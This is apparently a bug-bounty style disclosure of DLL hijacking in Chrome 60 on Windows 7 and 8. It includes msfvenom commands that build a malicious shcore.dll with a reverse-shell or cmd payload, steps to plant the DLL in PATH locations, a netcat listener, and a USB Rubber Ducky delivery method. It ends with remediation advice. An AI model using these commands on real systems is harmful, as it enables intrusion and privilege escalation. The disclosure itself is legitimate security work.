VULNERABILITY DETAILS
DLL Hijacking is an attack that exploits the way some Windows applications search and load Dynamic Link Libraries. Most Windows applications will not use a fully qualified path to load any required DLLs. A bad guy can place a fake DLL for a known program in a location that is searched before the real DLL’s location and almost guarantee that the malicious DLL is loaded, resulting in whatever code the attacker wants to run.

VERSION
Chrome Version: Version 60.0.3112.101 (Official Build) (32-bit)
Operating System: All Windows 7, 8 versions (32 & 64 bit)

REPRODUCTION CASE
1) Create a malicious dll through msfvenom with payload of your choice (Reverse shell or command prompt)

msfvenom -p windows/shell_reverse_tcp LHOST={ip address} LPORT={port} -f dll > hack.dll
msfvenom -p windows/exec COMMAND=cmd.exe -f dll > hack.dll

2)Rename the hack.dll as shcore.dll
3) Copy the renamed shcore.dll into any of the path in environment variables(user/system).
4) Setup a netcat listener in case if you would have chosen the first payload
4) Open google chrome application in windows machine.
5) It is observed that a reverse shell connection in attacker's machine received as the google chrome application 
6) A cmd window will pop if the latter payload were chosen.
 
key observations and points:

1) The root cause for the issue is dll file location is not hardcoded in source code. The issue is more of a code issue rather than platform issue as it can be reproduced in all versions of windows

2) Chrome application runs in context of user running it as per icacls. One success scenario would be  an attacker manages to get a limited shell through remote or local attack, he can then place the malicious DLL in one of several environment locations accessible to him.When the admin user logs in and open google chrome, The DLL executes and attacker get a privileged shell in context of admin. 

3) Attacker does not need complete local access to target these attacks as there are several ways (semi automated local attacks). I simulated the threat using USB rubber ducky which once lugged in parses through environment variables and place the malicious DLL in those locations.It worked in all windows machines under 10 seconds. I got a perfect hit in all machines that i tried out (20/20). 

4) The key component targeted is chrome executable and it is possible due to a security bug   in the way chrome loads DLL in runtime. 

5) This will be a ideal case where an attacker doesn't have complete physical access to victim to execute code but still window is too narrow in terms of time and access.

Remediation:

1) DLL's must be loaded from a fully qualified path rather than relying on system to decide the order of loading in source code. Client environments might vary so it is always suggested to hardcode absolute path to load DLL.

2)Certain missing application DLLs should be signed in order to prevent rogue DLL's filling up the space.

3) Custom logic can also be applied by generation MD5 hash of DLL to be loaded and it can be validated during application startup